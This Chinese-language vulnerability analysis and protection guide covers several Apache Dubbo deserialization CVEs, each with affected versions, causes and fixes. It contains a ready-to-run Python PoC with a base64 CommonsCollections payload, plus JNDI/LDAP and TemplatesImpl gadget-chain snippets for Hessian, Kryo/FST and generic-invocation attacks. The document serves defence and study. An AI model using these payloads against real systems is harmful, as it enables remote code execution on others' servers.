Java安全-Dubbo
字数 2450 2025-08-29 08:31:35
Apache Dubbo 安全漏洞分析与防护指南
1. Dubbo 基础架构
Apache Dubbo 是一款高性能的 Java RPC 框架,采用分布式服务架构,主要包含以下核心组件:
- Container:服务运行的容器
- Provider:RPC 服务提供方
- Registry:注册中心(如 Zookeeper)
- Consumer:RPC 服务消费者
- Monitor:监控中心
通信流程:
- 容器启动并提供 RPC 服务
- Provider 向注册中心注册服务
- Consumer 向注册中心订阅所需服务
- 注册中心返回 Provider 地址列表给 Consumer
- Consumer 基于负载均衡算法选择 Provider 进行调用
- 调用统计信息定时发送到监控中心
2. Dubbo 安全漏洞分析
2.1 CVE-2019-17564 - HTTP 协议反序列化漏洞
漏洞描述:
Dubbo 使用 HTTP 协议通信时直接使用 Spring 的 HttpInvokerServiceExporter 类处理远程调用,未对 POST 请求的 Body 内容进行安全检查,导致反序列化漏洞。
影响版本:
所有使用 HTTP 协议的 Dubbo 版本
漏洞原理:
- 攻击者可构造恶意的 Java 序列化数据
- Content-Type 设置为
application/x-java-serialized-object - 服务端反序列化时触发 RCE
PoC:
import requests
import base64
url = "http://target:8081/org.apache.dubbo.samples.http.api.DemoService"
payload = "rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsAAAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAAAnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4AGHNxAH4AE3VyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0AARjYWxjdAAEZXhlY3VxAH4AGwAAAAFxAH4AIHNxAH4AD3NyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAAHcIAAAAEAAAAAB4eHg="
payload = base64.b64decode(payload)
headers = {"Content-Type": "application/x-java-serialized-object"}
res = requests.post(url, headers=headers, data=payload)
print(res.text)
修复方案:
- 不再使用
HttpInvokerServiceExporter - 改用
com.googlecode.jsonrpc4j.JsonRpcServer处理 HTTP 请求 - 数据传输使用 JSON 格式
2.2 CVE-2020-1948 - Dubbo 协议 Hessian 反序列化漏洞
漏洞描述:
Dubbo 默认协议使用 Hessian 序列化,攻击者可构造恶意序列化数据,通过 RPC 调用触发反序列化漏洞。
影响版本:
- 2.7.0 <= Dubbo <= 2.7.6
- 2.6.0 <= Dubbo <= 2.6.7
- 所有 2.5.x 版本
漏洞原理:
- Dubbo 协议默认使用 Hessian2 序列化
- 攻击者可修改 TCP 包中的方法参数
- 反序列化时先通过构造方法实例化,再反射设置字段值
- 利用 Rome 库的
ToStringBean和EqualsBean触发 JNDI 注入
PoC 关键代码:
JdbcRowSetImpl rs = new JdbcRowSetImpl();
rs.setDataSourceName("ldap://127.0.0.1:8087/xxx");
ToStringBean item = new ToStringBean(JdbcRowSetImpl.class, rs);
EqualsBean root = new EqualsBean(ToStringBean.class, item);
HashMap s = new HashMap<>();
Reflections.setFieldValue(s, "size", 2);
// 构造恶意HashMap并序列化
修复方案:
- 在
DecodeableRpcInvocation.decode()方法中添加参数类型验证 - 防止伪造参数类型
2.3 CVE-2020-11995 - CVE-2020-1948 绕过
漏洞描述:
通过修改方法名为泛型调用方法($invoke、$invokeAsync、$echo)绕过 CVE-2020-1948 的补丁。
影响版本:
- 2.7.0 ~ 2.7.8
- 2.6.0 ~ 2.6.8
- 所有 2.5.x 版本
修复方案:
- 在泛型调用时强制指定参数类型
2.4 CVE-2021-25641 - Kryo/FST 反序列化漏洞
漏洞描述:
当 Dubbo 使用 Kryo 或 FST 序列化时,攻击者可构造恶意序列化数据触发反序列化漏洞。
影响版本:
- dubbo-common <= 2.7.3
- 2.7.0 ~ 2.7.8
- 2.6.0 ~ 2.6.9
- 所有 2.5.x 版本
漏洞原理:
- 修改 Dubbo 协议头中的序列化方式位(8-Kryo, 9-FST)
- 利用 Fastjson 的
JSONObject.toString()触发绑定对象的 getter 方法 - 结合
TemplatesImpl实现 RCE
PoC 关键代码:
// 设置序列化方式为FST(9)或Kryo(8)
header[2] = (byte)((byte)0x80 | (byte)9 | (byte)0x40);
// 构造Fastjson Gadget Chain
JSONObject jo = new JSONObject();
jo.put("oops", templates); // templates为恶意TemplatesImpl对象
修复方案:
- dubbo-common 2.7.4+ 移除了 Kryo 和 FST 的默认支持
- 需要显式引入相关依赖
2.5 CVE-2021-30179 - 泛型调用反序列化漏洞
漏洞描述:
通过 Dubbo 的泛型调用特性,利用三种不同的反序列化方式(raw.return、bean、nativejava)实现 RCE。
影响版本:
- 2.7.0 ~ 2.7.9
- 2.6.0 ~ 2.6.9
- 所有 2.5.x 版本
三种攻击方式:
- raw.return:
// 使用JndiConverter触发JNDI注入
HashMap jndi = new HashMap();
jndi.put("class", "org.apache.xbean.propertyeditor.JndiConverter");
jndi.put("asText", JNDI_URL);
out.writeObject(new Object[]{jndi});
// 设置generic为raw.return
map.put("generic", "raw.return");
- bean:
// 使用JavaBeanDescriptor封装JdbcRowSetImpl
JavaBeanDescriptor descriptor = new JavaBeanDescriptor("com.sun.rowset.JdbcRowSetImpl", 7);
descriptor.setProperty("dataSourceName", JNDI_URL);
descriptor.setProperty("autoCommit", true);
out.writeObject(new Object[]{descriptor});
// 设置generic为bean
map.put("generic", "bean");
- nativejava:
// 使用原生Java反序列化
byte[] payload = Serializer.serialize(ObjectPayload.Utils.makePayloadObject("CommonsCollections6", "calc"));
out.writeObject(new Object[]{payload});
// 设置generic为nativejava
map.put("generic", "nativejava");
修复方案:
- 在类加载前加入黑名单验证
- 默认禁用 Java 原生反序列化
2.6 CVE-2021-43279 - Hessian 异常处理漏洞
漏洞描述:
Hessian 序列化在处理异常时隐式调用对象的 toString() 方法,导致任意代码执行。
影响版本:
- 2.6.x < 2.6.12
- 2.7.x < 2.7.15
- 3.0.x < 3.0.5
修复方案:
- 移除隐式的
toString()调用 - 修复
Hessian2Input.expect()方法
3. 防护建议
-
及时升级:
- 使用 Dubbo 最新稳定版本
- 定期关注安全公告
-
协议安全:
- 避免使用 HTTP 协议
- 如必须使用 HTTP,禁用
httpinvoker
-
序列化安全:
- 使用最新版 Hessian
- 谨慎使用 Kryo/FST 序列化
- 配置序列化黑白名单
-
网络防护:
- 限制 Dubbo 服务端口访问
- 使用防火墙规则保护注册中心
-
其他措施:
- 启用 Dubbo 的访问控制
- 监控异常 RPC 调用
- 定期安全审计
4. 总结
Dubbo 作为广泛使用的 RPC 框架,其安全性至关重要。本文分析的漏洞主要涉及:
- 不安全的反序列化实现
- 协议设计缺陷
- 泛型调用滥用
- 异常处理不当
防护关键在于:
- 及时更新补丁
- 严格限制序列化操作
- 最小化网络暴露面
- 实施深度防御策略